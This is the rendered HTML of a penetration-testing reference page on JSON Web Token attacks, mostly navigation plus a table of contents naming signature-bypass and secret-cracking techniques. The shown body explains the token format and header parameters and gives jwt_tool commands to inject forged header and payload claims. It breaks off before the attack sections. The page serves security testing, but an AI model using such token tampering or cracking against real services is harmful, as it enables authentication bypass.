|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
XXE Injection
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_58">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
XXE Injection
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../XXE%20Injection/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
XML External Entity
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Zip Slip
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_59">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Zip Slip
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../Zip%20Slip/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Zip Slip
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
LEARNING AND SOCIALS
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_60">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
LEARNING AND SOCIALS
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Books
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Twitter
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Youtube
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item md-nav__item--nested">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
template vuln
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
</label>
|
|||
|
|
|||
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
|
|||
|
<label class="md-nav__title" for="__nav_61">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
template vuln
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-scrollfix>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="../_template_vuln/" class="md-nav__link">
|
|||
|
|
|||
|
|
|||
|
<span class="md-ellipsis">
|
|||
|
Vulnerability Title
|
|||
|
</span>
|
|||
|
|
|||
|
|
|||
|
</a>
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
|
|||
|
<div class="md-sidebar__scrollwrap">
|
|||
|
<div class="md-sidebar__inner">
|
|||
|
|
|||
|
|
|||
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<label class="md-nav__title" for="__toc">
|
|||
|
<span class="md-nav__icon md-icon"></span>
|
|||
|
Table of contents
|
|||
|
</label>
|
|||
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#summary" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Summary
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#tools" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Tools
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-format" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Format
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Format">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#header" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Header
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#payload" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Payload
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Signature">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-null-signature-attack-cve-2020-28042" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Null Signature Attack (CVE-2020-28042)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-disclosure-of-a-correct-signature-cve-2019-7644" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-none-algorithm-cve-2015-9235" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - None Algorithm (CVE-2015-9235)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-key-confusion-attack-rs256-to-hs256-cve-2016-5431" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-key-injection-attack-cve-2018-0114" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Key Injection Attack (CVE-2018-0114)
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-signature-recover-public-key-from-signed-jwts" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Signature - Recover Public Key From Signed JWTs
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-secret" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Secret
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Secret">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#encode-and-decode-jwt-with-the-secret" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Encode and Decode JWT with the secret
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#break-jwt-secret" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Break JWT secret
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="Break JWT secret">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-tool" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT tool
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#hashcat" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Hashcat
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-claims" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT Claims
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
<nav class="md-nav" aria-label="JWT Claims">
|
|||
|
<ul class="md-nav__list">
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwt-kid-claim-misuse" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWT kid Claim Misuse
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#jwks-jku-header-injection" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
JWKS - jku header injection
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
</nav>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#labs" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
Labs
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
<li class="md-nav__item">
|
|||
|
<a href="#references" class="md-nav__link">
|
|||
|
<span class="md-ellipsis">
|
|||
|
References
|
|||
|
</span>
|
|||
|
</a>
|
|||
|
|
|||
|
</li>
|
|||
|
|
|||
|
</ul>
|
|||
|
|
|||
|
</nav>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
</div>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<div class="md-content" data-md-component="content">
|
|||
|
<article class="md-content__inner md-typeset">
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/JSON Web Token/README.md" title="Edit this page" class="md-content__button md-icon">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
|
|||
|
</a>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/JSON Web Token/README.md" title="View source of this page" class="md-content__button md-icon">
|
|||
|
|
|||
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
|
|||
|
</a>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
<h1 id="jwt-json-web-token">JWT - JSON Web Token</h1>
|
|||
|
<blockquote>
|
|||
|
<p>JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.</p>
|
|||
|
</blockquote>
|
|||
|
<h2 id="summary">Summary</h2>
|
|||
|
<ul>
|
|||
|
<li><a href="#tools">Tools</a></li>
|
|||
|
<li><a href="#jwt-format">JWT Format</a><ul>
|
|||
|
<li><a href="#header">Header</a></li>
|
|||
|
<li><a href="#payload">Payload</a></li>
|
|||
|
</ul>
|
|||
|
</li>
|
|||
|
<li><a href="#jwt-signature">JWT Signature</a><ul>
|
|||
|
<li><a href="#jwt-signature---null-signature-attack-cve-2020-28042">JWT Signature - Null Signature Attack (CVE-2020-28042)</a></li>
|
|||
|
<li><a href="#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644">JWT Signature - Disclosure of a correct signature (CVE-2019-7644)</a></li>
|
|||
|
<li><a href="#jwt-signature---none-algorithm-cve-2015-9235">JWT Signature - None Algorithm (CVE-2015-9235)</a></li>
|
|||
|
<li><a href="#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431">JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)</a></li>
|
|||
|
<li><a href="#jwt-signature---key-injection-attack-cve-2018-0114">JWT Signature - Key Injection Attack (CVE-2018-0114)</a></li>
|
|||
|
<li><a href="#jwt-signature---recover-public-key-from-signed-jwts">JWT Signature - Recover Public Key From Signed JWTs</a></li>
|
|||
|
</ul>
|
|||
|
</li>
|
|||
|
<li><a href="#jwt-secret">JWT Secret</a><ul>
|
|||
|
<li><a href="#encode-and-decode-jwt-with-the-secret">Encode and Decode JWT with the secret</a></li>
|
|||
|
<li><a href="#break-jwt-secret">Break JWT secret</a></li>
|
|||
|
</ul>
|
|||
|
</li>
|
|||
|
<li><a href="#jwt-claims">JWT Claims</a><ul>
|
|||
|
<li><a href="#jwt-kid-claim-misuse">JWT kid Claim Misuse</a></li>
|
|||
|
<li><a href="#jwks---jku-header-injection">JWKS - jku header injection</a></li>
|
|||
|
</ul>
|
|||
|
</li>
|
|||
|
<li><a href="#labs">Labs</a></li>
|
|||
|
<li><a href="#references">References</a></li>
|
|||
|
</ul>
|
|||
|
<h2 id="tools">Tools</h2>
|
|||
|
<ul>
|
|||
|
<li><a href="https://github.com/ticarpi/jwt_tool">ticarpi/jwt_tool</a> - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens</li>
|
|||
|
<li><a href="https://github.com/brendan-rius/c-jwt-cracker">brendan-rius/c-jwt-cracker</a> - JWT brute force cracker written in C </li>
|
|||
|
<li><a href="https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61">PortSwigger/JOSEPH</a> - JavaScript Object Signing and Encryption Pentesting Helper</li>
|
|||
|
<li><a href="https://jwt.io/">jwt.io</a> - Encoder/Decoder</li>
|
|||
|
</ul>
|
|||
|
<h2 id="jwt-format">JWT Format</h2>
|
|||
|
<p>JSON Web Token : <code>Base64(Header).Base64(Data).Base64(Signature)</code></p>
|
|||
|
<p>Example : <code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY</code></p>
|
|||
|
<p>Where we can split it into 3 components separated by a dot.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span> <span class="c"># header</span>
|
|||
|
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">eyJzdWIiOiIxMjM0</span><span class="p">[...]</span><span class="n">kbWluIjp0cnVlfQ</span> <span class="c"># payload</span>
|
|||
|
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY</span> <span class="c"># signature</span>
|
|||
|
</code></pre></div>
|
|||
|
<h3 id="header">Header</h3>
|
|||
|
<p>Registered header parameter names defined in <a href="https://www.rfc-editor.org/rfc/rfc7515">JSON Web Signature (JWS) RFC</a>.
|
|||
|
The most basic JWT header is the following JSON.</p>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="p">{</span>
|
|||
|
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="w"> </span><span class="nt">"typ"</span><span class="p">:</span><span class="w"> </span><span class="s2">"JWT"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="w"> </span><span class="nt">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"HS256"</span>
|
|||
|
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="p">}</span>
|
|||
|
</code></pre></div>
|
|||
|
<p>Other parameters are registered in the RFC.</p>
|
|||
|
<table>
|
|||
|
<thead>
|
|||
|
<tr>
|
|||
|
<th>Parameter</th>
|
|||
|
<th>Definition</th>
|
|||
|
<th>Description</th>
|
|||
|
</tr>
|
|||
|
</thead>
|
|||
|
<tbody>
|
|||
|
<tr>
|
|||
|
<td>alg</td>
|
|||
|
<td>Algorithm</td>
|
|||
|
<td>Identifies the cryptographic algorithm used to secure the JWS</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>jku</td>
|
|||
|
<td>JWK Set URL</td>
|
|||
|
<td>Refers to a resource for a set of JSON-encoded public keys</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>jwk</td>
|
|||
|
<td>JSON Web Key</td>
|
|||
|
<td>The public key used to digitally sign the JWS</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>kid</td>
|
|||
|
<td>Key ID</td>
|
|||
|
<td>The key used to secure the JWS</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>x5u</td>
|
|||
|
<td>X.509 URL</td>
|
|||
|
<td>URL for the X.509 public key certificate or certificate chain</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>x5c</td>
|
|||
|
<td>X.509 Certificate Chain</td>
|
|||
|
<td>X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>x5t</td>
|
|||
|
<td>X.509 Certificate SHA-1 Thumbprint)</td>
|
|||
|
<td>Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>x5t#S256</td>
|
|||
|
<td>X.509 Certificate SHA-256 Thumbprint</td>
|
|||
|
<td>Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>typ</td>
|
|||
|
<td>Type</td>
|
|||
|
<td>Media Type. Usually <code>JWT</code></td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>cty</td>
|
|||
|
<td>Content Type</td>
|
|||
|
<td>This header parameter is not recommended to use</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>crit</td>
|
|||
|
<td>Critical</td>
|
|||
|
<td>Extensions and/or JWA are being used</td>
|
|||
|
</tr>
|
|||
|
</tbody>
|
|||
|
</table>
|
|||
|
<p>Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
|||
|
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).</p>
|
|||
|
<table>
|
|||
|
<thead>
|
|||
|
<tr>
|
|||
|
<th><code>alg</code> Param Value</th>
|
|||
|
<th>Digital Signature or MAC Algorithm</th>
|
|||
|
<th>Requirements</th>
|
|||
|
</tr>
|
|||
|
</thead>
|
|||
|
<tbody>
|
|||
|
<tr>
|
|||
|
<td>HS256</td>
|
|||
|
<td>HMAC using SHA-256</td>
|
|||
|
<td>Required</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>HS384</td>
|
|||
|
<td>HMAC using SHA-384</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>HS512</td>
|
|||
|
<td>HMAC using SHA-512</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>RS256</td>
|
|||
|
<td>RSASSA-PKCS1-v1_5 using SHA-256</td>
|
|||
|
<td>Recommended</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>RS384</td>
|
|||
|
<td>RSASSA-PKCS1-v1_5 using SHA-384</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>RS512</td>
|
|||
|
<td>RSASSA-PKCS1-v1_5 using SHA-512</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>ES256</td>
|
|||
|
<td>ECDSA using P-256 and SHA-256</td>
|
|||
|
<td>Recommended</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>ES384</td>
|
|||
|
<td>ECDSA using P-384 and SHA-384</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>ES512</td>
|
|||
|
<td>ECDSA using P-521 and SHA-512</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>PS256</td>
|
|||
|
<td>RSASSA-PSS using SHA-256 and MGF1 with SHA-256</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>PS384</td>
|
|||
|
<td>RSASSA-PSS using SHA-384 and MGF1 with SHA-384</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>PS512</td>
|
|||
|
<td>RSASSA-PSS using SHA-512 and MGF1 with SHA-512</td>
|
|||
|
<td>Optional</td>
|
|||
|
</tr>
|
|||
|
<tr>
|
|||
|
<td>none</td>
|
|||
|
<td>No digital signature or MAC performed</td>
|
|||
|
<td>Required</td>
|
|||
|
</tr>
|
|||
|
</tbody>
|
|||
|
</table>
|
|||
|
<p>Inject headers with <a href="#">ticarpi/jwt_tool</a>: <code>python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2</code></p>
|
|||
|
<h3 id="payload">Payload</h3>
|
|||
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p">{</span>
|
|||
|
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="w"> </span><span class="nt">"sub"</span><span class="p">:</span><span class="s2">"1234567890"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="s2">"Amazing Haxx0r"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="w"> </span><span class="nt">"exp"</span><span class="p">:</span><span class="s2">"1466270722"</span><span class="p">,</span>
|
|||
|
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="w"> </span><span class="nt">"admin"</span><span class="p">:</span><span class="kc">true</span>
|
|||
|
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="p">}</span>
|
|||
|
</code></pre></div>
|
|||
|
<p>Claims are the predefined keys and their values:
|
|||
|
- iss: issuer of the token
|
|||
|
- exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
|
|||
|
- iat: The time the JWT was issued. Can be used to determine the age of the JWT
|
|||
|
- nbf: "not before" is a future time when the token will become active.
|
|||
|
- jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
|
|||
|
- sub: subject of the token (rarely used)
|
|||
|
- aud: audience of the token (also rarely used)</p>
|
|||
|
<p>Inject payload claims with <a href="#">ticarpi/jwt_tool</a>: <code>python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3</code></p>
|
|||
|
<h2 id="jwt-signature">JWT Signature</h2>
|
|||
|
